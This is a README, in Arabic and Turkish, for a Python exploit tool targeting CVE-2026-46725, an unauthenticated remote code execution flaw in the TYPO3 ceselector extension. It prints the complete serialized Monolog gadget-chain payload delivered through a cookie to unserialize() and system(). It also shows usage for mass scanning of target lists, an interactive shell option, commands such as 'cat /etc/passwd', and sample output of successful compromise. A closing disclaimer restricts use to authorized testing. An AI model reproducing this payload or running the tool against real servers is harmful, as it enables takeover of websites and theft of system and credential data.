
استغلال بلغة Python لـ CVE-2026-46725، يحقق تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه في إضافة ceselector الخاصة بـ TYPO3 عبر حقن كائن PHP وسلسلة أدوات Monolog.
حقن كائنات PHP عبر تجاوز ملف تعريف الارتباط
unserialize()→ تنفيذ الأكواد عن بُعد
| المجال | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-46725 |
| المنتج | امتداد TYPO3 ceselector (mmc/ceselector) |
| الإصدار المتأثر | <= 1.1.3 |
| نوع الثغرة | إلغاء تسلسل غير آمن (حقن كائنات PHP) |
| درجة CVSS | 9.8 حرجة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (إلغاء تسلسل البيانات غير الموثوقة) |
| درجة EPSS | 0.0046 (المئين 64.3) |
| المصادقة | غير مطلوبة (بدون مصادقة) |
| التأثير | RCE كامل — تحكم كامل في النظام |
| الباحث | DhiyaneshDk |
يقوم امتداد TYPO3 ceselector بتمرير قيمة ملف تعريف الارتباط المسماة T3_ceselector_* مباشرةً إلى دالة unserialize() دون أي تحقق. يمكن للمهاجم وضع حمولة حقن كائنات PHP معدّة خصيصًا في ملف تعريف الارتباط هذا لتنفيذ أوامر عشوائية على الخادم.
⚠️ الشرط المسبق: يجب تفعيل إعداد Persistent Mode: Static في إعدادات TYPO3 حتى يمكن استغلال الثغرة.
1. GET / → Sunucu Set-Cookie: T3_ceselector_<id>=<value> döner
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ PHP unserialize() tetiklenir
└─ Monolog Gadget Chain çalışır
└─ system("id") çıktısı response'a yansır
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS komutu buraya
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requestsPython >= 3.8
requests >= 2.28.0
# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# Bağımlılıkları yükle
pip install requests
# veya requirements.txt ile
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD Çalıştırılacak OS komutu (varsayılan: id)
-i, --interactive Başarılı exploit sonrası interaktif shell aç
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy (örn: http://127.0.0.1:8080)
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3 ✓ Tespit edildi
· ceselector ✓ Aktif
· Cookie Adı T3_ceselector_48291
· TYPO3 Sürüm 12.4.3
② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik PHP Object Injection → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· Komut id
④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================
[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL : https://typo3-site.com
Sürüm : 12.4.3
Cookie : T3_ceselector_48291
Komut : id
Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT AKIŞI │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. TESPIT │
│ GET / ──────────────────────► TYPO3 Sunucu │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. PAYLOAD HAZIRLAMA │
│ build_payload("id") │
│ └─ Monolog gadget chain URL-encode edilir │
│ │
│ 3. EXPLOIT │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. DOĞRULAMA │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
أُعدّت هذه الأداة لأغراض تعليمية واختبارات أمنية مرخّصة فقط.
- استخدمها فقط على أنظمتك الخاصة أو على أنظمة حصلت على إذن كتابي لاختبارها.
- استخدامها ضد أنظمة دون إذن غير قانوني وقد يؤدي إلى عواقب قانونية.
- المطوّر غير مسؤول عن أي إساءة استخدام لهذه الأداة.
CVE-2026-46725 | ثغرة RCE في امتداد TYPO3 ceselector | استغلال Python